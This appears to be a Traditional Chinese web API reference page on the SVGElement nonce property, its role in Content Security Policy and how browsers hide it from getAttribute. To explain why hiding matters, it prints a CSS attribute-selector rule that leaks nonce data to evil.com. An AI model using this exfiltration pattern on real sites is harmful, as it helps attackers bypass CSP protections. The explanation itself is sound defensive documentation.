SVGElement: nonce 屬性

Baseline 已廣泛支援

此特性已經十分成熟,可在許多裝置和瀏覽器版本上使用。自 2022 年 3 月起,它已在各瀏覽器中可用。

SVGElement 介面的 nonce 屬性返回用於 內容安全策略(Content Security Policy)來決定是否允許給定獲取繼續進行的 nonce。

一個字串;加密 nonce,如果沒有設定 nonce,則為空字串。

示例

檢索 nonce 值

過去,並非所有瀏覽器都支援 nonce IDL 屬性,因此一種變通方法是嘗試使用 getAttribute 作為後備。

js
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");

// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`

然而,最近的瀏覽器版本會隱藏透過此方式訪問的 nonce 值(將返回空字串)。IDL 屬性(svg['nonce'])將是訪問 nonce 的唯一方法。

Nonce 隱藏有助於防止攻擊者透過可以從內容屬性(如此 CSS 選擇器)獲取資料的機制來竊取 nonce 資料。

css
svg[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

規範

規範
HTML
# dom-noncedelement-nonce

瀏覽器相容性

另見